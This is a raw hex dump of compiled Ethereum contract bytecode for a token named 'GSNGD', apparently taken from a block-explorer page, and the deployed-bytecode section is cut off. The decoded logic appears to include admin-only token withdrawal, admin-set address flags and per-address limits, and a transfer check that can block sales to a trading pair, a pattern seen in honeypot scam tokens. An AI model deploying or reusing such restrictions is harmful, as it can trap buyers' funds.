ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610be4565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610c4882610c02565b810181811067ffffffffffffffff82111715610c6757610c66610c12565b5b80604052505050565b5f610c79610be9565b9050610c858282610c3f565b919050565b5f67ffffffffffffffff821115610ca457610ca3610c12565b5b610cad82610c02565b9050602081019050919050565b8281835e5f83830152505050565b5f610cda610cd584610c8a565b610c70565b905082815260208101848484011115610cf657610cf5610bfe565b5b610d01848285610cba565b509392505050565b5f82601f830112610d1d57610d1c610bfa565b5b8151610d2d848260208601610cc8565b91505092915050565b5f819050919050565b610d4881610d36565b8114610d52575f80fd5b50565b5f81519050610d6381610d3f565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d9282610d69565b9050919050565b610da281610d88565b8114610dac575f80fd5b50565b5f81519050610dbd81610d99565b92915050565b5f805f8060808587031215610ddb57610dda610bf2565b5b5f85015167ffffffffffffffff811115610df857610df7610bf6565b5b610e0487828801610d09565b945050602085015167ffffffffffffffff811115610e2557610e24610bf6565b5b610e3187828801610d09565b9350506040610e4287828801610d55565b9250506060610e5387828801610daf565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ead57607f821691505b602082108103610ec057610ebf610e69565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610f227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610ee7565b610f2c8683610ee7565b95508019841693508086168417925050509392505050565b5f819050919050565b5f610f67610f62610f5d84610d36565b610f44565b610d36565b9050919050565b5f819050919050565b610f8083610f4d565b610f94610f8c82610f6e565b848454610ef3565b825550505050565b5f90565b610fa8610f9c565b610fb3818484610f77565b505050565b5b81811015610fd657610fcb5f82610fa0565b600181019050610fb9565b5050565b601f82111561101b57610fec81610ec6565b610ff584610ed8565b81016020851015611004578190505b61101861101085610ed8565b830182610fb8565b50505b505050565b5f82821c905092915050565b5f61103b5f1984600802611020565b1980831691505092915050565b5f611053838361102c565b9150826002028217905092915050565b61106c82610e5f565b67ffffffffffffffff81111561108557611084610c12565b5b61108f8254610e96565b61109a828285610fda565b5f60209050601f8311600181146110cb575f84156110b9578287015190505b6110c38582611048565b86555061112a565b601f1984166110d986610ec6565b5f5b82811015611100578489015182556001820191506020850194506020810190506110db565b8683101561111d5784890151611119601f89168261102c565b8355505b6001600288020188555050505b505050505050565b5f6020828403121561114757611146610bf2565b5b5f61115484828501610daf565b91505092915050565b61116681610d88565b82525050565b5f60408201905061117f5f83018561115d565b61118c602083018461115d565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611215578086048111156111f1576111f0611193565b5b60018516156112005780820291505b808102905061120e856111c0565b94506111d5565b94509492505050565b5f8261122d57600190506112e8565b8161123a575f90506112e8565b8160018114611250576002811461125a57611289565b60019150506112e8565b60ff84111561126c5761126b611193565b5b8360020a91508482111561128357611282611193565b5b506112e8565b5060208310610133831016604e8410600b84101617156112be5782820a9050838111156112b9576112b8611193565b5b6112e8565b6112cb84848460016111cc565b925090508184048111156112e2576112e1611193565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61130582610d36565b9150611310836112ef565b925061133d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461121e565b905092915050565b5f61134f82610d36565b915061135a83610d36565b925082820261136881610d36565b9150828204841483151761137f5761137e611193565b5b5092915050565b5f6020820190506113995f83018461115d565b92915050565b5f6113a982610d36565b91506113b483610d36565b92508282019050808211156113cc576113cb611193565b5b92915050565b6113db81610d36565b82525050565b5f6060820190506113f45f83018661115d565b61140160208301856113d2565b61140e60408301846113d2565b949350505050565b5f6020820190506114295f8301846113d2565b92915050565b612b118061143c5f395ff3fe608060405234801561000f575f80fd5b506004361061018c575f3560e01c806370a08231116100dc578063a9059cbb11610095578063d547741f1161006f578063d547741f146104ba578063d58baf4d146104d6578063dd62ed3e14610506578063e7eb09f1146105365761018c565b8063a9059cbb14610452578063ae205de514610482578063d2d94dea1461049e5761018c565b806370a082311461037c57806371049094146103ac57806375b238fc146103c857806391d14854146103e657806395d89b41146104165780639db50503146104345761018c565b80631f55915e11610149578063248a9ca311610123578063248a9ca3146102f65780632f2ff15d14610326578063313ce5671461034257806336568abe146103605761018c565b80631f55915e1461027857806320b28f61146102a857806323b872dd146102c65761018c565b806301ffc9a714610190578063031b9429146101c057806306fdde03146101dc578063094365e0146101fa578063095ea7b31461022a57806318160ddd1461025a575b5f80fd5b6101aa60048036038101906101a59190611f0e565b610552565b6040516101b79190611f53565b60405180910390f35b6101da60048036038101906101d59190612135565b6105cb565b005b6101e4610670565b6040516101f19190612201565b60405180910390f35b610214600480360381019061020f9190612254565b610700565b6040516102219190611f53565b60405180910390f35b610244600480360381019061023f91906122a4565b6107a4565b6040516102519190611f53565b60405180910390f35b6102626107c6565b60405161026f91906122f1565b60405180910390f35b610292600480360381019061028d919061230a565b6107cf565b60405161029f91906122f1565b60405180910390f35b6102b0610865565b6040516102bd91906122f1565b60405180910390f35b6102e060048036038101906102db9190612335565b61086b565b6040516102ed9190611f53565b60405180910390f35b610310600480360381019061030b9190612385565b610899565b60405161031d91906123bf565b60405180910390f35b610340600480360381019061033b91906123d8565b6108b6565b005b61034a6108d8565b6040516103579190612431565b60405180910390f35b61037a600480360381019061037591906123d8565b6108e0565b005b6103966004803603810190610391919061230a565b61095b565b6040516103a391906122f1565b60405180910390f35b6103c660048036038101906103c191906123d8565b6109a1565b005b6103d0610a0f565b6040516103dd91906123bf565b60405180910390f35b61040060048036038101906103fb91906123d8565b610a15565b60405161040d9190611f53565b60405180910390f35b61041e610a79565b60405161042b9190612201565b60405180910390f35b61043c610b09565b60405161044991906123bf565b60405180910390f35b61046c600480360381019061046791906122a4565b610b2d565b6040516104799190611f53565b60405180910390f35b61049c6004803603810190610497919061244a565b610b4f565b005b6104b860048036038101906104b391906123d8565b610b71565b005b6104d460048036038101906104cf91906123d8565b610be0565b005b6104f060048036038101906104eb919061230a565b610c02565b6040516104fd91906122f1565b60405180910390f35b610520600480360381019061051b9190612488565b610c99565b60405161052d91906122f1565b60405180910390f35b610550600480360381019061054b919061258a565b610d1b565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105c457506105c382610e7d565b5b9050919050565b5f801b6105d781610ee6565b5f806105e284610efa565b80925081935050505f151581151503610627576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f821015801561065657507f4f50494f4e53540000000000000000000000000000000000000000000000000086145b15610668576106678583600161100b565b5b505050505050565b60606008805461067f90612623565b80601f01602080910402602001604051908101604052809291908181526020018280546106ab90612623565b80156106f65780601f106106cd576101008083540402835291602001916106f6565b820191905f5260205f20905b8154815290600101906020018083116106d957829003601f168201915b5050505050905090565b5f805f1b61070d81610ee6565b5f801b8503610798578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610751929190612662565b6020604051808303815f875af115801561076d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079191906126b3565b915061079c565b5f91505b509392505050565b5f806107ae61112d565b90506107bb818585611134565b600191505092915050565b5f600754905090565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461085e9190612738565b9050919050565b60035481565b5f8061087561112d565b9050610882858285611146565b61088d8585856111d8565b60019150509392505050565b5f60045f8381526020019081526020015f20600101549050919050565b6108bf82610899565b6108c881610ee6565b6108d283836112c8565b50505050565b5f6012905090565b6108e861112d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461094c576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61095682826113b2565b505050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b6109ad81610ee6565b5f801b8303610a0a575f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b5f801b81565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060098054610a8890612623565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab490612623565b8015610aff5780601f10610ad657610100808354040283529160200191610aff565b820191905f5260205f20905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b7f4f50494f4e53540000000000000000000000000000000000000000000000000081565b5f80610b3761112d565b9050610b448185856111d8565b600191505092915050565b5f801b610b5b81610ee6565b5f801b8303610b6c57816003819055505b505050565b5f801b610b7d81610ee6565b5f801b8303610bdb5760015f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b610be982610899565b610bf281610ee6565b610bfc83836113b2565b50505050565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c929190612738565b9050919050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f801b610d2781610ee6565b5f8490505f8173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d999190612792565b60ff1690505f5b85518160ff161015610e74575f82600a610dba91906128ec565b86610dc59190612936565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610df957610df8612977565b5b6020026020010151836040518363ffffffff1660e01b8152600401610e1f929190612662565b6020604051808303815f875af1158015610e3b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5f91906126b3565b50508080610e6c906129a4565b915050610da0565b50505050505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b610ef781610ef261112d565b61149c565b50565b5f805f5b8351811015610ffd575f6030858381518110610f1d57610f1c612977565b5b602001015160f81c60f81b60f81c610f3591906129cc565b60ff161080610f73575060096030858381518110610f5657610f55612977565b5b602001015160f81c60f81b60f81c610f6e91906129cc565b60ff16115b15610f84575f809250925050611006565b6001818551610f939190612a00565b610f9d9190612a00565b600a610fa991906128ec565b6030858381518110610fbe57610fbd612977565b5b602001015160f81c60f81b60f81c610fd691906129cc565b60ff16610fe39190612936565b83610fee9190612a33565b92508080600101915050610efe565b50816001915091505b915091565b80156110a857670de0b6b3a7640000826110259190612936565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611128565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f33905090565b61114183838360016114ed565b505050565b5f6111518484610c99565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111d257818110156111c3578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016111ba93929190612a66565b60405180910390fd5b6111d184848484035f6114ed565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611248575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161123f9190612a9b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b8575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016112af9190612a9b565b60405180910390fd5b6112c38383836116c6565b505050565b5f6112d38383610a15565b6113a857600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061134561112d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506113ac565b5f90505b92915050565b5f6113bd8383610a15565b15611492575f60045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061142f61112d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050611496565b5f90505b92915050565b6114a68282610a15565b6114e95780826040517fe2517d3f0000000000000000000000000000000000000000000000000000000081526004016114e0929190612ab4565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361155d575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016115549190612a9b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115cd575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016115c49190612a9b565b60405180910390fd5b6115d784846118ed565b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156116c0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516116b791906122f1565b60405180910390a35b50505050565b6116d183838361195e565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611721578060075f8282546117159190612a33565b925050819055506117f1565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156117ab578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016117a293929190612a66565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611838578060075f8282540392505081905550611883565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118e091906122f1565b60405180910390a3505050565b6118f6826119d1565b61195a57600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361195957611957826119f3565b505b5b5050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119c1576119bc8282611a92565b6119cc565b6119cb8382611b74565b5b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f603c6003541115611a8a575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611a8957816040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611a809190612a9b565b60405180910390fd5b5b5f9050919050565b5f81118015611aa65750611aa5826119d1565b5b15611b70575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611b2d57505f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b6f57816040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611b669190612a9b565b60405180910390fd5b5b5050565b611b805f801b83610a15565b611c79575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611c78575f6003541115611c77575f81611be684611c7d565b611bf09190612a33565b90505f611bfc84611d01565b1115611c75575f811115611c7457611c1383611d01565b8111158015611c2157505f82115b15611c3657611c3183825f611d84565b611c73565b826040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611c6a9190612a9b565b60405180910390fd5b5b5b505b5b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b8015611e2257670de0b6b3a764000082611d9e9190612936565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ea3565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611eed81611eb9565b8114611ef7575f80fd5b50565b5f81359050611f0881611ee4565b92915050565b5f60208284031215611f2357611f22611eb1565b5b5f611f3084828501611efa565b91505092915050565b5f8115159050919050565b611f4d81611f39565b82525050565b5f602082019050611f665f830184611f44565b92915050565b5f819050919050565b611f7e81611f6c565b8114611f88575f80fd5b50565b5f81359050611f9981611f75565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fc882611f9f565b9050919050565b611fd881611fbe565b8114611fe2575f80fd5b50565b5f81359050611ff381611fcf565b92915050565b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61204782612001565b810181811067ffffffffffffffff8211171561206657612065612011565b5b80604052505050565b5f612078611ea8565b9050612084828261203e565b919050565b5f67ffffffffffffffff8211156120a3576120a2612011565b5b6120ac82612001565b9050602081019050919050565b828183375f83830152505050565b5f6120d96120d484612089565b61206f565b9050828152602081018484840111156120f5576120f4611ffd565b5b6121008482856120b9565b509392505050565b5f82601f83011261211c5761211b611ff9565b5b813561212c8482602086016120c7565b91505092915050565b5f805f6060848603121561214c5761214b611eb1565b5b5f61215986828701611f8b565b935050602061216a86828701611fe5565b925050604084013567ffffffffffffffff81111561218b5761218a611eb5565b5b61219786828701612108565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f6121d3826121a1565b6121dd81856121ab565b93506121ed8185602086016121bb565b6121f681612001565b840191505092915050565b5f6020820190508181035f83015261221981846121c9565b905092915050565b5f819050919050565b61223381612221565b811461223d575f80fd5b50565b5f8135905061224e8161222a565b92915050565b5f805f6060848603121561226b5761226a611eb1565b5b5f61227886828701611f8b565b935050602061228986828701611fe5565b925050604061229a86828701612240565b9150509250925092565b5f80604083850312156122ba576122b9611eb1565b5b5f6122c785828601611fe5565b92505060206122d885828601612240565b9150509250929050565b6122eb81612221565b82525050565b5f6020820190506123045f8301846122e2565b92915050565b5f6020828403121561231f5761231e611eb1565b5b5f61232c84828501611fe5565b91505092915050565b5f805f6060848603121561234c5761234b611eb1565b5b5f61235986828701611fe5565b935050602061236a86828701611fe5565b925050604061237b86828701612240565b9150509250925092565b5f6020828403121561239a57612399611eb1565b5b5f6123a784828501611f8b565b91505092915050565b6123b981611f6c565b82525050565b5f6020820190506123d25f8301846123b0565b92915050565b5f80604083850312156123ee576123ed611eb1565b5b5f6123fb85828601611f8b565b925050602061240c85828601611fe5565b9150509250929050565b5f60ff82169050919050565b61242b81612416565b82525050565b5f6020820190506124445f830184612422565b92915050565b5f80604083850312156124605761245f611eb1565b5b5f61246d85828601611f8b565b925050602061247e85828601612240565b9150509250929050565b5f806040838503121561249e5761249d611eb1565b5b5f6124ab85828601611fe5565b92505060206124bc85828601611fe5565b9150509250929050565b5f67ffffffffffffffff8211156124e0576124df612011565b5b602082029050602081019050919050565b5f80fd5b5f612507612502846124c6565b61206f565b9050808382526020820190506020840283018581111561252a576125296124f1565b5b835b81811015612553578061253f8882611fe5565b84526020840193505060208101905061252c565b5050509392505050565b5f82601f83011261257157612570611ff9565b5b81356125818482602086016124f5565b91505092915050565b5f805f606084860312156125a1576125a0611eb1565b5b5f6125ae86828701611fe5565b935050602084013567ffffffffffffffff8111156125cf576125ce611eb5565b5b6125db8682870161255d565b92505060406125ec86828701612240565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061263a57607f821691505b60208210810361264d5761264c6125f6565b5b50919050565b61265c81611fbe565b82525050565b5f6040820190506126755f830185612653565b61268260208301846122e2565b9392505050565b61269281611f39565b811461269c575f80fd5b50565b5f815190506126ad81612689565b92915050565b5f602082840312156126c8576126c7611eb1565b5b5f6126d58482850161269f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61274282612221565b915061274d83612221565b92508261275d5761275c6126de565b5b828204905092915050565b61277181612416565b811461277b575f80fd5b50565b5f8151905061278c81612768565b92915050565b5f602082840312156127a7576127a6611eb1565b5b5f6127b48482850161277e565b91505092915050565b5f8160011c9050919050565b5f808291508390505b6001851115612812578086048111156127ee576127ed61270b565b5b60018516156127fd5780820291505b808102905061280b856127bd565b94506127d2565b94509492505050565b5f8261282a57600190506128e5565b81612837575f90506128e5565b816001811461284d576002811461285757612886565b60019150506128e5565b60ff8411156128695761286861270b565b5b8360020a9150848211156128805761287f61270b565b5b506128e5565b5060208310610133831016604e8410600b84101617156128bb5782820a9050838111156128b6576128b561270b565b5b6128e5565b6128c884848460016127c9565b925090508184048111156128df576128de61270b565b5b81810290505b9392505050565b5f6128f682612221565b915061290183612221565b925061292e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281b565b905092915050565b5f61294082612221565b915061294b83612221565b925082820261295981612221565b915082820484148315176129705761296f61270b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129ae82612416565b915060ff82036129c1576129c061270b565b5b600182019050919050565b5f6129d682612416565b91506129e183612416565b9250828203905060ff8111156129fa576129f961270b565b5b92915050565b5f612a0a82612221565b9150612a1583612221565b9250828203905081811115612a2d57612a2c61270b565b5b92915050565b5f612a3d82612221565b9150612a4883612221565b9250828201905080821115612a6057612a5f61270b565b5b92915050565b5f606082019050612a795f830186612653565b612a8660208301856122e2565b612a9360408301846122e2565b949350505050565b5f602082019050612aae5f830184612653565b92915050565b5f604082019050612ac75f830185612653565b612ad460208301846123b0565b939250505056fea264697066735822122095b041252203ce1d7a5d64a0a4b69d7dc393477bfed59732d7657c8bb82cd05364736f6c634300081a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000007d70fe31ef3ba80c877e18f491ddd7b210c36695000000000000000000000000000000000000000000000000000000000000000547534e4744000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000547534e4744000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061018c575f3560e01c806370a08231116100dc578063a9059cbb11610095578063d547741f1161006f578063d547741f146104ba578063d58baf4d146104d6578063dd62ed3e14610506578063e7eb09f1146105365761018c565b8063a9059cbb14610452578063ae205de514610482578063d2d94dea1461049e5761018c565b806370a082311461037c57806371049094146103ac57806375b238fc146103c857806391d14854146103e657806395d89b41146104165780639db50503146104345761018c565b80631f55915e11610149578063248a9ca311610123578063248a9ca3146102f65780632f2ff15d14610326578063313ce5671461034257806336568abe146103605761018c565b80631f55915e1461027857806320b28f61146102a857806323b872dd146102c65761018c565b806301ffc9a714610190578063031b9429146101c057806306fdde03146101dc578063094365e0146101fa578063095ea7b31461022a57806318160ddd1461025a575b5f80fd5b6101aa60048036038101906101a59190611f0e565b610552565b6040516101b79190611f53565b60405180910390f35b6101da60048036038101906101d59190612135565b6105cb565b005b6101e4610670565b6040516101f19190612201565b60405180910390f35b610214600480360381019061020f9190612254565b610700565b6040516102219190611f53565b60405180910390f35b610244600480360381019061023f91906122a4565b6107a4565b6040516102519190611f53565b60405180910390f35b6102626107c6565b60405161026f91906122f1565b60405180910390f35b610292600480360381019061028d919061230a565b6107cf565b60405161029f91906122f1565b60405180910390f35b6102b0610865565b6040516102bd91906122f1565b60405180910390f35b6102e060048036038101906102db9190612335565b61086b565b6040516102ed9190611f53565b60405180910390f35b610310600480360381019061030b9190612385565b610899565b60405161031d91906123bf565b60405180910390f35b610340600480360381019061033b91906123d8565b6108b6565b005b61034a6108d8565b6040516103579190612431565b60405180910390f35b61037a600480360381019061037591906123d8565b6108e0565b005b6103966004803603810190610391919061230a565b61095b565b6040516103a391906122f1565b60405180910390f35b6103c660048036038101906103c191906123d8565b6109a1565b005b6103d0610a0f565b6040516103dd91906123bf565b60405180910390f35b61040060048036038101906103fb91906123d8565b610a15565b60405161040d9190611f53565b60405180910390f35b61041e610a79565b60405161042b9190612201565b60405180910390f35b61043c610b09565b60405161044991906123bf565b60405180910390f35b61046c600480360381019061046791906122a4565b610b2d565b6040516104799190611f53565b60405180910390f35b61049c6004803603810190610497919061244a565b610b4f565b005b6104b860048036038101906104b391906123d8565b610b71565b005b6104d460048036038101906104cf91906123d8565b610be0565b005b6104f060048036038101906104eb919061230a565b610c02565b6040516104fd91906122f1565b60405180910390f35b610520600480360381019061051b9190612488565b610c99565b60405161052d91906122f1565b60405180910390f35b610550600480360381019061054b919061258a565b610d1b565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105c457506105c382610e7d565b5b9050919050565b5f801b6105d781610ee6565b5f806105e284610efa565b80925081935050505f151581151503610627576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f821015801561065657507f4f50494f4e53540000000000000000000000000000000000000000000000000086145b15610668576106678583600161100b565b5b505050505050565b60606008805461067f90612623565b80601f01602080910402602001604051908101604052809291908181526020018280546106ab90612623565b80156106f65780601f106106cd576101008083540402835291602001916106f6565b820191905f5260205f20905b8154815290600101906020018083116106d957829003601f168201915b5050505050905090565b5f805f1b61070d81610ee6565b5f801b8503610798578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610751929190612662565b6020604051808303815f875af115801561076d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079191906126b3565b915061079c565b5f91505b509392505050565b5f806107ae61112d565b90506107bb818585611134565b600191505092915050565b5f600754905090565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461085e9190612738565b9050919050565b60035481565b5f8061087561112d565b9050610882858285611146565b61088d8585856111d8565b60019150509392505050565b5f60045f8381526020019081526020015f20600101549050919050565b6108bf82610899565b6108c881610ee6565b6108d283836112c8565b50505050565b5f6012905090565b6108e861112d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461094c576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61095682826113b2565b505050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b6109ad81610ee6565b5f801b8303610a0a575f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffff